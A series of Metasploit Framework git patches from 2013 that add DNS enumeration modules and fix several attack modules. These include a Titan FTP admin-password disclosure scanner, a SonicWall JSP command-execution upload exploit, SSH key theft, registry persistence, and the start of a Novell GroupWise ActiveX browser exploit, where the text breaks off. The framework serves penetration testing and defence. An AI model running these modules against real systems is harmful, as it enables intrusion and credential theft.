if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_txt(target) + query = @res.query(target, "TXT") + if (query) + query.answer.each do |rr| + print_good("Text: #{rr.txt}, TXT") + end + end + end + + #--------------------------------------------------------------------------------- + def get_mx(target) + results = [] + query = @res.query(target, "MX") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| + if Rex::Socket.dotted_ip?(rr.exchange) + record = {} + record[:host] = rr.exchange + record[:type] = "MX" + record[:address] = rr.exchange + results << record + else + get_ip(rr.exchange).each do |ip| + record = {} + record[:host] = rr.exchange.gsub(/\.$/,'') + record[:type] = "MX" + record[:address] = ip[:address].to_s + results << record + end + end + end + end + return results + end + + #--------------------------------------------------------------------------------- + def switchdns() + print_status("Using DNS Server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end \ No newline at end of file From 256ab7f737ddf23f45741cfee9feed48658592b8 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 09:50:21 -0400 Subject: [PATCH 159/448] Split of DNS Reverse Lookup from enum_dns --- .../auxiliary/gather/dns_reverse_lookup.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/auxiliary/gather/dns_reverse_lookup.rb diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb new file mode 100644 index 0000000000..95dbb0c8ac --- /dev/null +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -0,0 +1,94 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Reverse Lookup', + 'Description' => %q{ + This module performs a Reverse Lookup against a given IP Range. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptAddressRange.new('RANGE', [true, 'IP Range to perform reverse lookup against.', nil]), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS" ]), + + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]), + OptInt.new('THREADS', [ false, "Number of seconds to wait before doing a retry", 2]), + ], self.class) + end + + def run + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + @threadnum = datastore['THREADS'].to_i + switchdns() if not datastore['NS'].nil? + reverselkp(datastore['RANGE']) + end + + #------------------------------------------------------------------------------- + def reverselkp(iprange) + print_status("Running Reverse Lookup against ip range #{iprange}") + ar = Rex::Socket::RangeWalker.new(iprange) + tl = [] + while (true) + # Spawn threads for each host + while (tl.length <= @threadnum) + ip = ar.next_ip + break if not ip + tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| + begin + query = @res.query(tip) + query.each_ptr do |addresstp| + print_status("Host Name: #{addresstp} IP Address: #{tip.to_s}") + + report_host( + :host => tip.to_s, + :name => addresstp + ) + end + rescue ::Interrupt + raise $! + rescue ::Rex::ConnectionError + rescue ::Exception => e + print_error("Error: #{tip}: #{e.message}") + elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}") + end + end + end + # Exit once we run out of hosts + if(tl.length == 0) + break + end + tl.first.join + tl.delete_if { |t| not t.alive? } + end + end + + #--------------------------------------------------------------------------------- + def switchdns() + print_status("Using DNS Server: #{datastore['NS']}") + @res.nameserver=(datastore['NS']) + @nsinuse = datastore['NS'] + end +end \ No newline at end of file From ac8194ed07b18e27c8d488590c5307b539650585 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 10:09:34 -0400 Subject: [PATCH 160/448] Split of DNS SRV Record Enumeration from enum_dns --- modules/auxiliary/gather/dns_srv.rb | 221 ++++++++++++++++++++++++++++ 1 file changed, 221 insertions(+) create mode 100644 modules/auxiliary/gather/dns_srv.rb diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb new file mode 100644 index 0000000000..dd3f68f208 --- /dev/null +++ b/modules/auxiliary/gather/dns_srv.rb @@ -0,0 +1,221 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require "net/dns/resolver" +require 'rex' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DNS Reverse Lookup', + 'Description' => %q{ + This module enumerates common DNS Service Records. + }, + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) + + register_options( + [ + OptString.new('DOMAIN', [ true, "The target domain name"]), + OptBool.new( 'ALL_NS', [ false, "Run against all Nameservers for the given domain",false]), + ], self.class) + + register_advanced_options( + [ + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 3]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 4]), + ], self.class) + end + + def run + records = [] + @res = Net::DNS::Resolver.new() + @res.retry = datastore['RETRY'].to_i + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + + print_status("Enumerating SRV Records for #{datastore['DOMAIN']}") + records = records + srvqry(datastore['DOMAIN']) + if datastore["ALL_NS"] + get_soa(datastore['DOMAIN']).each do |s| + switchdns(s[:address]) + records = records + srvqry(datastore['DOMAIN']) + end + get_ns(datastore['DOMAIN']).each do |ns| + switchdns(ns[:address]) + records =records + srvqry(datastore['DOMAIN']) + end + end + records.uniq! + records.each do |r| + print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_service( + :host=> r[:address].to_s, + :port => r[:port].to_i, + :proto => r[:proto], + :name => r[:service], + :host_name => r[:host] + ) + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) + end + + end + #--------------------------------------------------------------------------------- + def get_soa(target) + results = [] + query = @res.query(target, "SOA") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| + record = {} + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + end + return results + end + #------------------------------------------------------------------------------- + def srvqry(dom) + results = [] + #Most common SRV Records + srvrcd = [ + '_gc._tcp.', '_kerberos._tcp.', '_kerberos._udp.', '_ldap._tcp.', + '_test._tcp.', '_sips._tcp.', '_sip._udp.', '_sip._tcp.', '_aix._tcp.', + '_aix._tcp.', '_finger._tcp.', '_ftp._tcp.', '_http._tcp.', '_nntp._tcp.', + '_telnet._tcp.', '_whois._tcp.', '_h323cs._tcp.', '_h323cs._udp.', + '_h323be._tcp.', '_h323be._udp.', '_h323ls._tcp.', + '_h323ls._udp.', '_sipinternal._tcp.', '_sipinternaltls._tcp.', + '_sip._tls.', '_sipfederationtls._tcp.', '_jabber._tcp.', + '_xmpp-server._tcp.', '_xmpp-client._tcp.', '_imap.tcp.', + '_certificates._tcp.', '_crls._tcp.', '_pgpkeys._tcp.', + '_pgprevokations._tcp.', '_cmp._tcp.', '_svcp._tcp.', '_crl._tcp.', + '_ocsp._tcp.', '_PKIXREP._tcp.', '_smtp._tcp.', '_hkp._tcp.', + '_hkps._tcp.', '_jabber._udp.','_xmpp-server._udp.', '_xmpp-client._udp.', + '_jabber-client._tcp.', '_jabber-client._udp.','_kerberos.tcp.dc._msdcs.', + '_ldap._tcp.ForestDNSZones.', '_ldap._tcp.dc._msdcs.', '_ldap._tcp.pdc._msdcs.', + '_ldap._tcp.gc._msdcs.','_kerberos._tcp.dc._msdcs.','_kpasswd._tcp.','_kpasswd._udp.' + ] + + srvrcd.each do |srvt| + trg = "#{srvt}#{dom}" + begin + + query = @res.query(trg , Net::DNS::SRV) + if query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do |ip| + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = ip[:address] + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host} IP: #{ip[:address]} Port: #{srv.port} Priority: #{srv.priority}") + end + end + end + end + rescue + end + end + return results + end + + #--------------------------------------------------------------------------------- + def get_ip(host) + results = [] + query = @res.search(host, "A") + if (query) + query.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + query1 = @res.search(host, "AAAA") + if (query1) + query1.answer.each do |rr| + if rr.type == "CNAME" + results = results + get_ip(rr.cname) + else + record = {} + record[:host] = host + record[:type] = "AAAA" + record[:address] = rr.address.to_s + results << record + end + end + end + return results + end + #--------------------------------------------------------------------------------- + def switchdns(ns) + vprint_status("Enumerating SRV Records on: #{ns}") + @res.nameserver=(ns) + @nsinuse = ns + end + + #--------------------------------------------------------------------------------- + def get_ns(target) + results = [] + query = @res.query(target, "NS") + if (query) + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| + record = {} + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s + results << record + end + end + end + return results + end +end \ No newline at end of file From e3ee0d79134137cffcb8db1b2d81be5013d61a49 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 8 Feb 2013 11:25:17 -0600 Subject: [PATCH 161/448] Don't try to download '.' or '..' as files --- modules/post/multi/gather/ssh_creds.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 60638eece6..4696674599 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -61,11 +61,12 @@ class Metasploit3 < Msf::Post end files.each do |file| - print_good("Downloading #{path}#{sep}#{file} -> #{file}") + next if [".", ".."].include?(file) data = read_file("#{path}#{sep}#{file}") file = file.split(sep).last loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File") + print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}") # If the key is encrypted, this will fail and it won't be stored as a # cred. That's ok because we can't really use encrypted keys anyway. From 5b398076ae6acb8e72e861e182c0b3c24b26e9fd Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 8 Feb 2013 11:52:50 -0600 Subject: [PATCH 162/448] Couple of fixes for windows * Catch IOError when chmod doesn't exist (i.e. Windows) * Proper escaping for paths --- modules/exploits/multi/http/sonicwall_gms_upload.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 4013bc9573..d46541a0cb 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -229,7 +229,7 @@ class Metasploit3 < Msf::Exploit::Remote def path_join(*paths) if target['Platform'] == "win" path = paths.join("\\") - path.gsub!(%r|\\+|, "\\") + path.gsub!(%r|\\+|, "\\\\\\\\") else path = paths.join("/") path.gsub!(%r|//+|, "/") @@ -269,7 +269,9 @@ class Metasploit3 < Msf::Exploit::Remote def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| - jspraw << %Q|Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| From 8798567d799f873c082278e666d740be964936db Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 8 Feb 2013 12:05:27 -0600 Subject: [PATCH 163/448] Fix bug: TypeError can't convert Fixnum into String wmap_target_port is retrieved from datastore['RPORT'], and that's a Fixnum. But wmap_base_url is treating that like a String, so when a module uses that function, it's doomed. See: http://dev.metasploit.com/redmine/issues/7748 --- lib/msf/core/auxiliary/wmapmodule.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/wmapmodule.rb b/lib/msf/core/auxiliary/wmapmodule.rb index fe55d7747e..7af067ed3e 100644 --- a/lib/msf/core/auxiliary/wmapmodule.rb +++ b/lib/msf/core/auxiliary/wmapmodule.rb @@ -71,7 +71,7 @@ module Auxiliary::WmapModule else res << datastore['VHOST'] end - res << ":" + wmap_target_port + res << ":" + wmap_target_port.to_s res end From 9b6f2fcd1de34a0cb4bd5a9d5b25438c7d3dd3fd Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 8 Feb 2013 12:10:42 -0600 Subject: [PATCH 164/448] Use the install path to tell us the separator Fixes the java target on windows victims --- modules/exploits/multi/http/sonicwall_gms_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index d46541a0cb..397116f37a 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -227,7 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote end def path_join(*paths) - if target['Platform'] == "win" + if install_path.include?("\\") path = paths.join("\\") path.gsub!(%r|\\+|, "\\\\\\\\") else From b8f0a94c3fcd18f505dc8f33486a6f2d7dee05d6 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 14:42:10 -0400 Subject: [PATCH 165/448] Fixed typos mentioned by Egypt --- modules/exploits/windows/local/persistence.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 942cd8f9df..3bf17f4fa0 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -31,8 +31,6 @@ class Metasploit3 < Msf::Exploit::Local at user logon or system startup depending on privilege and selected startup method. - REXE mode will transfer a binary of your choosing to remote host to be - used as a payload. }, 'License' => MSF_LICENSE, 'Author' => @@ -56,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Local end - # Run Method for when run command is issued + # Exploit Method for when run command is issued #------------------------------------------------------------------------------- def exploit print_status("Running module against #{sysinfo['Computer']}") @@ -253,4 +251,4 @@ class Metasploit3 < Msf::Exploit::Local end return tempexe end -end \ No newline at end of file +end From fea84cad10dfb7c1e1d785b7d0c420aabe813557 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 14:47:16 -0400 Subject: [PATCH 166/448] Fix additional typos per recomendation --- modules/exploits/windows/local/persistence.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 3bf17f4fa0..386d6900de 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Local ) end - # Function for Creating persistent script + # Creates persistent script #------------------------------------------------------------------------------- def create_script(delay, altexe) if not altexe.nil? @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Local return logfile end - # Function for writing script to target host + # Writes script to target host #------------------------------------------------------------------------------- def write_script_to_target(vbs,name) tempdir = session.fs.file.expand_path("%TEMP%") @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Local return tempvbs end - # Function to execute script on target and return the PID of the process + # Executes script on target and return the PID of the process #------------------------------------------------------------------------------- def target_exec(script_on_target) execsuccess = true @@ -201,7 +201,7 @@ class Metasploit3 < Msf::Exploit::Local return execsuccess end - # Function to install payload in to the registry HKLM or HKCU + # Installs payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target, registry_value) # Lets start to assume we had success. @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Local end end - # Function for writing executable to target host + # Writesexecutable to target host #------------------------------------------------------------------------------- def write_exe_to_target(exe_raw, rexename) if rexename.nil? From 7522a87cf9a6d518ca8f8f017706f1a24d992248 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 8 Feb 2013 15:43:02 -0500 Subject: [PATCH 167/448] Adding an auxiliary scanner module for Titan FTP password disclosure. --- .../scanner/http/titan_ftp_admin_pwd.rb | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb new file mode 100644 index 0000000000..0025d2a3cf --- /dev/null +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -0,0 +1,97 @@ +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Titan FTP Administrative Password Disclosure', + 'Description' => %q{ + On Titan FTP servers prior to version 9.14.1628, an attacker can + retrieve the username and password for the administrative XML-RPC + interface, which listens on TCP Port 31001 by default, by sending an + XML request containing bogus authentication information. After sending + this request, the server responds with the legitimate username and + password for the service. With this information, an attacker has + complete control over the FTP service, which includes the ability to + add and remove FTP users, as well as add, remove, and modify + available directories and their permissions. + }, + 'Author' => + [ + 'Spencer McIntyre' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1625' ], + ], + ) + + register_options([Opt::RPORT(31001)], self.class) + deregister_options('PASSWORD', 'USERNAME') + end + + def run_host(ip) + res = send_request_cgi( + { + 'uri' => "/admin.dll", + 'method' => 'POST', + 'headers' => { + 'SRT-WantXMLResponses' => 'true', + 'SRT-XMLRequest' => 'true', + 'Authorization' => 'Basic FAKEFAKE' + }, + 'data' => "DOMGCFG", + }) + return if not res + + if res.code == 400 + vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched") + return + elsif res.code != 200 + vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}") + return + end + + xml_data = res.body.strip + resp_root = REXML::Document.new(xml_data).root + + srresponse = resp_root.elements.to_a("//SRResponse")[0] + srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0] + + info = {} + srdomainparams.elements.each do |node| + case node.name + when "DomainName" + info[:domain] = Rex::Text.uri_decode(node.text) + when "BaseDataDir" + info[:basedir] = Rex::Text.uri_decode(node.text) + when "CreationDate" + info[:username] = Rex::Text.uri_decode(node.text) + when "CreationTime" + info[:password] = Rex::Text.uri_decode(node.text) + end + end + + if (info[:username] and info[:password]) + if (info[:domain] and info[:basedir]) + print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]} Base Directory: #{info[:basedir]}") + end + print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: #{info[:username]} #{info[:password]}") + report_auth_info( + :host => ip, + :port => datastore['RPORT'], + :user => info[:username], + :pass => info[:password], + :ptype => "password", + :proto => "http", + :sname => "Titan FTP Admin Console" + ) + end + end +end From 7370d7d31b0d123732f113d855c0d8dafd3b3f87 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 8 Feb 2013 18:21:06 -0600 Subject: [PATCH 168/448] Final touchup --- .../auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 0025d2a3cf..4d18e2dc74 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + require 'msf/core' require 'rexml/document' @@ -80,9 +87,10 @@ class Metasploit3 < Msf::Auxiliary if (info[:username] and info[:password]) if (info[:domain] and info[:basedir]) - print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]} Base Directory: #{info[:basedir]}") + print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]}") + print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}") end - print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: #{info[:username]} #{info[:password]}") + print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'") report_auth_info( :host => ip, :port => datastore['RPORT'], From 166b59b61a21674ef6aaacbdd47c44868fd32454 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:48:57 -0400 Subject: [PATCH 169/448] Added new line to end of file. --- modules/auxiliary/gather/dns_info.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index bbf772cf5b..f57fb1649f 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -215,4 +215,5 @@ class Metasploit3 < Msf::Auxiliary @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end -end \ No newline at end of file +end + From eda3fc07157f6717f03346e2f6f914586e1396e1 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:50:23 -0400 Subject: [PATCH 170/448] Added new line to end of file. --- modules/auxiliary/gather/dns_srv.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index dd3f68f208..4bbccba518 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -218,4 +218,5 @@ class Metasploit3 < Msf::Auxiliary end return results end -end \ No newline at end of file +end + From 78f81843f6348b04715b662be5b24bf2cf8a881a Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:51:37 -0400 Subject: [PATCH 171/448] Added new line to end of file. --- modules/auxiliary/gather/dns_bruteforce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index a6e72080a6..0c289eddb3 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -135,3 +135,4 @@ class Metasploit3 < Msf::Auxiliary end end end + From fd15436a9669884125e71fe9a01e89865b12af62 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Fri, 8 Feb 2013 20:52:49 -0400 Subject: [PATCH 172/448] Added new line to end of file. --- modules/auxiliary/gather/dns_reverse_lookup.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 95dbb0c8ac..e3e28342a6 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -91,4 +91,5 @@ class Metasploit3 < Msf::Auxiliary @res.nameserver=(datastore['NS']) @nsinuse = datastore['NS'] end -end \ No newline at end of file +end + From b8b445c834df7a39ebd2743ddefb3e9fb055bc68 Mon Sep 17 00:00:00 2001 From: nemski Date: Sat, 9 Feb 2013 15:32:47 +1100 Subject: [PATCH 173/448] Update lib/msf/core/auxiliary/login.rb MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fix for Bug #7451 --- lib/msf/core/auxiliary/login.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 816604a95b..29556b1243 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -51,6 +51,7 @@ module Auxiliary::Login (Login ?|User ?)(name|): | ^\s*\<[a-f0-9]+\>\s*$ | ^\s*220.*FTP + not\ allowed )/mix @waiting_regex = /(?: From 63c67914739083aa4c21acc88094bf0300ac065e Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Sat, 9 Feb 2013 11:17:02 +0100 Subject: [PATCH 174/448] return --- modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index feea8e0d3e..2c0da88e4f 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return :abort + return end if res.body.include? "end" From 5b576c1ed061d30bd2b26479e22f564631d24073 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 9 Feb 2013 17:40:45 +0100 Subject: [PATCH 175/448] fix ident and make happy msftidy --- .../browser/novell_groupwise_gwcls1_actvx.rb | 309 ++++++++++++++++++ 1 file changed, 309 insertions(+) create mode 100644 modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb new file mode 100644 index 0000000000..a3f50861e8 --- /dev/null +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -0,0 +1,309 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking, + :classid => "{601D7813-408F-11D1-98D7-444553540000}", + :method => "SetEngine" + }) + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll + ActiveX. Several methods in the GWCalServer control use user provided data as + a pointer, which allows to read arbitrary memory and execute arbitrary code. This + module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The + JRE6 needs to be installed to achieve ASLR bypass. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0439' ], + [ 'OSVDB', '89700' ], + [ 'BID' , '57658' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 1040, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + 